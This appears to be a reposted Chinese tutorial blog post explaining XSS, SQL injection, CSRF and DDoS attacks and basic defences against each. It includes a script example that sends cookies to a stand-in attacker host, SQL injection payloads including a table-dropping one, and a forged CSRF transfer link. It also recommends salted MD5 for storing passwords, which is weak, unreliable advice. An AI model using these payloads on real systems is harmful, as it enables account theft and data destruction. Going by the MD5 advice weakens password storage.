常见的攻击手段及其防御方式

 

本文简单介绍几种常见的攻击手段及其防御方式

  • XSS(跨站脚本攻击)
  • CSRF(跨站请求伪造)
  • SQL注入
  • DDOS

XSS

概念

  • 全称是跨站脚本攻击(Cross Site Scripting),指攻击者在网页中嵌入恶意脚本程序。

案列

  • 比如说我写了一个博客网站,然后攻击者在上面发布了一个文章,内容是这样的 <script>window.open(“www.gongji.com?param=”+document.cookie)</script>,如果我没有对他的内容进行处理,直接存储到数据库,那么下一次当其他用户访问他的这篇文章的时候,服务器从数据库读取后然后响应给客户端,浏览器执行了这段脚本,然后就把该用户的cookie发送到攻击者的服务器了。

被攻击的原因

  • 用户输入的数据变成了代码,比如说上面的<script>,应该只是字符串却有了代码的作用。

预防

  • 将输入的数据进行转义处理,比如说讲 < 转义成&lt;

SQL注入

概念

  • 通过sql命令伪装成正常的http请求参数,传递到服务器端,服务器执行sql命令造成对数据库进行攻击

案例

  • ' or '1'= '1。这是最常见的sql注入攻击,当我们输如用户名 jiajun ,然后密码输如'or '1'= '1的时候,我们在查询用户名和密码是否正确的时候,本来要执行的是select * from user where username='' and password='',经过参数拼接后,会执行sql语句 select * from user where username='jaijun' and password=' ' or ' 1'='1 ',这个时候1=1是成立,自然就跳过验证了。
  • 但是如果再严重一点,密码输如的是';drop table user;--,那么sql命令为select * from user where username='jiajun' and password='';drop table user;--' 这个时候我们就直接把这个表给删除了

被攻击的原因

  • sql语句伪造参数,然后在对参数进行拼接的后形成破坏性的sql语句,最后导致数据库受到攻击

预防

  • 在java中,我们可以使用预编译语句(PreparedStatement),这样的话即使我们使用sql语句伪造成参数,到了服务端的时候,这个伪造sql语句的参数也只是简单的字符,并不能起到攻击的作用。
  • 很多orm框架已经可以对参数进行转义
  • 做最坏的打算,即使被’拖库‘('脱裤,数据库泄露')。数据库中密码不应明文存储的,可以对密码使用md5进行加密,为了加大破解成本,所以可以采用加盐的(数据库存储用户名,盐(随机字符长),md5后的密文)方式。

CSRF

概念

  • 全称是跨站请求伪造(cross site request forgery),指通过伪装成受信任用户的进行访问,通俗的讲就是说我访问了A网站,然后cookie存在了浏览器,然后我又访问了一个流氓网站,不小心点了流氓网站一个链接(向A发送请求),这个时候流氓网站利用了我的身份对A进行了访问。

案列

  • 这个例子可能现实中不会存在,但是攻击的方式是一样的。比如说我登录了A银行网站,然后我又访问了室友给的一个流氓网站,然后点了里面的一个链接 www.A.com/transfer?account=666&money=10000,那么这个时候很可能我就向账号为666的人转了1w软妹币
  • 注意这个攻击方式不一定是我点了这个链接,也可以是这个网站里面一些资源请求指向了这个转账链接,比如说一个<img src="http://www.A.com/transfer?account=666&money=10000">

被攻击的原因

  • 用户本地存储cookie,攻击者利用用户的cookie进行认证,然后伪造用户发出请求

预防

  • 之所以被攻击是因为攻击者利用了存储在浏览器用于用户认证的cookie,那么如果我们不用cookie来验证不就可以预防了。所以我们可以采用token(不存储于浏览器)认证。
  • 通过referer识别,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。那么这样的话,我们必须登录银行A网站才能进行转账了。

DDOS

概念

  • 分布式拒绝服务攻击(Distributed Denial of Service),简单说就是发送大量请求是使服务器瘫痪。DDos攻击是在DOS攻击基础上的,可以通俗理解,dos是单挑,而ddos是群殴,因为现代技术的发展,dos攻击的杀伤力降低,所以出现了DDOS,攻击者借助公共网络,将大数量的计算机设备联合起来,向一个或多个目标进行攻击。

案例

  • SYN Flood ,简单说一下tcp三次握手,客户端先服务器发出请求,请求建立连接,然后服务器返回一个报文,表明请求以被接受,然后客户端也会返回一个报文,最后建立连接。那么如果有这么一种情况,攻击者伪造ip地址,发出报文给服务器请求连接,这个时候服务器接受到了,根据tcp三次握手的规则,服务器也要回应一个报文,可是这个ip是伪造的,报文回应给谁呢,第二次握手出现错误,第三次自然也就不能顺利进行了,这个时候服务器收不到第三次握手时客户端发出的报文,又再重复第二次握手的操作。如果攻击者伪造了大量的ip地址并发出请求,这个时候服务器将维护一个非常大的半连接等待列表,占用了大量的资源,最后服务器瘫痪。
  • CC攻击,在应用层http协议上发起攻击,模拟正常用户发送大量请求直到该网站拒绝服务为止。

被攻击的原因

  • 服务器带宽不足,不能挡住攻击者的攻击流量

预防

  • 最直接的方法增加带宽。但是攻击者用各地的电脑进行攻击,他的带宽不会耗费很多钱,但对于服务器来说,带宽非常昂贵。
  • 云服务提供商有自己的一套完整DDoS解决方案,并且能提供丰富的带宽资源

总结

  • 上面一共提到了4中攻击方式,分别是xss攻击(关键是脚本,利用恶意脚本发起攻击),CSRF攻击(关键是借助本地cookie进行认证,伪造发送请求),SQL注入(关键是通过用sql语句伪造参数发出攻击),DDOS攻击(关键是通过手段发出大量请求,最后令服务器崩溃)
  • 之所以攻击者能成功攻击,用户操作是一个原因,服务器端没有做好防御是一个问题,因为无法控制用户的操作,所以需要我们服务器端的开发做好防御。
  • 没有觉得绝对安全,只要更安全。

 

参考博客:http://www.cnblogs.com/-new/p/7135814.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/455438.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用ffmpeg进行h.264编码

m_fmt->video_codec CODEC_ID_H264; /* 添加视频流 */ m_video_st av_new_stream(m_oc, 0); if (!m_video_st) { return 0; } m_videocavcodec_alloc_context(); m_videoc m_video_st->codec; /* 视频相关参数 */ m_videoc->codec_id m_fmt->video_codec; m_…

关于java的关键字 transient

我们都知道一个对象只要实现了Serilizable接口&#xff0c;这个对象就可以被序列化&#xff0c;Java的这种序列化模式为开发者提供了很多便利&#xff0c;我们可以不必关系具体序列化的过程&#xff0c;只要这个类实现了Serilizable接口&#xff0c;这个的所有属性和方法都会自…

python中文件变化监控-watchdog

起步 在python中文件监控主要有两个库&#xff0c;一个是pyinotify&#xff0c;一个是watchdog。pyinotify依赖于Linux平台的inotify&#xff0c;后者则对不同平台的的事件都进行了封装。因为我主要用于Windows平台&#xff0c;所以下面着重介绍watchdog&#xff08;推荐大家阅…

python决策树分类鸢尾花_基于决策树—鸢尾花分类

决策树算法广泛应用于&#xff1a;语音识别、医疗诊断、客户关系管理、模式识别、专家系统等&#xff0c;在实际工作中&#xff0c;必须根据数据类型的特点及数据集的大小&#xff0c;选择合适的算法。本文选择经典案例——《鸢尾花分类》一、决策树定义决策树算法是一种基于实…

希捷宣布出货双碟装1TB硬盘 单碟500GB上市

希捷今天宣布&#xff0c;单碟容量高达500GB的Barracuda 7200.12 1TB硬盘已经出货。 现有的1TB硬盘产品一般都是三碟装(此前也有四碟装)&#xff0c;包括希捷自家的ST31000340AS&#xff0c;但希捷一进率先将其升级为双碟装&#xff0c;存储密度也达到了329Gb每平方英寸。这样一…

P1334 瑞瑞的木板

题目描述 瑞瑞想要亲自修复在他的一个小牧场周围的围栏。他测量栅栏并发现他需要N&#xff08;1≤N≤20,000&#xff09;根木板&#xff0c;每根的长度为整数Li&#xff08;1≤Li≤50,000&#xff09;。于是&#xff0c;他神奇地买了一根足够长的木板&#xff0c;长度为所需的N…

FFMpeg的output_example.c例子分析

该例子讲了如何输出一个libavformat库所支持格式的媒体文件。 &#xff08;1&#xff09;av_register_all()&#xff0c;初始化libavcodec库&#xff0c;并注册所有的编解码器和格式。 &#xff08;2&#xff09;guess_format()&#xff0c;根据文件名来获取输出文件格式&#…

大量数据+同步+多线程_Vulkan 多线程渲染

1. Overview of Vulkan1.1 计算机图形软件图形软件有两个大类&#xff1a;专用软件包&#xff08;special-purpose packages&#xff09;和通用编程软件包&#xff08;general programming packages&#xff09;。专用软件包通常提供一种UI设计语言&#xff0c;让用户直接生成想…

飞康任命Gartner前分析师担任亚洲区市场总监

在虚拟化、数据保护和数据迁移领域具备15年创新经验的美国飞康软件公司&#xff08;FalconStor Software, Inc.&#xff0c;NASDAQ&#xff1a;FALC&#xff09;近日宣布任命张瑾&#xff08;Jimmie Chang&#xff09;先生担任该公司亚洲区市场部门负责人。 飞康公司近日面向全…

12_登陆案例

13131转载于:https://www.cnblogs.com/ZHONGZHENHUA/p/7044846.html

如何基于FFMPEG和SDL写一个少于1000行代码的视频播放器

http://blog.csdn.net/eplaylity/archive/2008/12/05/3454431.aspx http://www.cnblogs.com/konyel/tag/SDLGuide%E4%B8%AD%E6%96%87%E8%AF%91%E7%89%88/ ffmpeg文档http://blog.sina.com.cn/s/blog_46dc65a90100a91b.html http://dranger.com/ffmpeg/ffmpeg.html VLC核心功能部…

Flask 概述

什么是Web Framework&#xff1f; Web Application Framework&#xff08;Web应用程序框架&#xff09;或简单的Web Framework&#xff08;Web框架&#xff09;表示一个库和模块的集合&#xff0c;使Web应用程序开发人员能够编写应用程序&#xff0c;而不必担心协议&#xff0…

(五)Maven中的聚合和继承

一、为什么要聚合&#xff1f; 定义&#xff1a;我们在开发过程中&#xff0c;创建了2个以上的模块&#xff0c;每个模块都是一个独立的maven project&#xff0c;在开始的时候我们可以独立的编译和测试运行每个模块&#xff0c;但是随着项目的不断变大和复杂化&#xff0c;我们…

python堆栈反向输出列表_python - IPython:将Python脚本的输出重定向到文件(如bash) - 堆栈内存溢出...

IPython有自己的上下文管理器来捕获stdout / err &#xff0c;但它没有重定向到文件&#xff0c;它重定向到一个对象&#xff1a;from IPython.utils import iowith io.capture_output() as captured:%run my_script.pyprint captured.stdout # prints stdout from your script…

关于datagrid

基本在公司使用的datagrid不需要自己写前台代码&#xff0c;只需要自己给grid明确id&#xff0c;url以及列属性即可。 后台需要返回一个数据类型&#xff1a;{recordsFiltered2, data[], drawnull, recordsTotal2}&#xff0c;通常返回这个数据类型的话&#xff0c;只需要调用d…

M-JPEG、MPEG4、H.264都有何区别 依维安防论坛

压缩方式是网络视频服务器和网络摄像机的核心技术&#xff0c;压缩方式很大程度上决定着图像的质量、压缩比、传输效率、传输速度等性能&#xff0c;它是评价网络视频服务器和网络摄像机性能优劣的重要一环。 随着多媒体技术的发展&#xff0c;相继推出了许多压缩编码标准&…

Django/Flask/Tornado三大web框架性能分析

写在前面&#xff1a;本文的数据涉及到之前遇到过的问题&#xff0c;大概一次 http 请求到收到响应需要多少时间。这个问题在实际工作中与框架有比较大的关系&#xff0c;因此特别就框架的性能做了一次分析。这里使用之前的一个报告数据&#xff1a; Pythons Web Framework Ben…

python urllib模块学习笔记

这个模块是最基本最常用的&#xff0c;以前看过&#xff0c;总结一下 #coding : utf-8import urlliburl http://cnblogs.com#代理服务器proxies {http:http://127.0.0.1:8087}#使用代理服务器打开r urllib.urlopen(url,proxies proxies)print r.info()print r.getcode()pri…

hibernate基础工具findBySQL学习

public List<Map<String,Object>> findBySQL(String sql,Map<String,Object> param,int start,int max) {log.debug("finding List by hql");try {       //最后返回map map的key可为别名和数据库字段SQLQuery querysessionFactory.getCurr…

python处理ini文件_python对ini配置文件处理

>>> cf.read("test.ini") #读取配置文件[test.ini]>>> cf.sections() #片段名[base, callback]>>> cf.options("callback") #配置…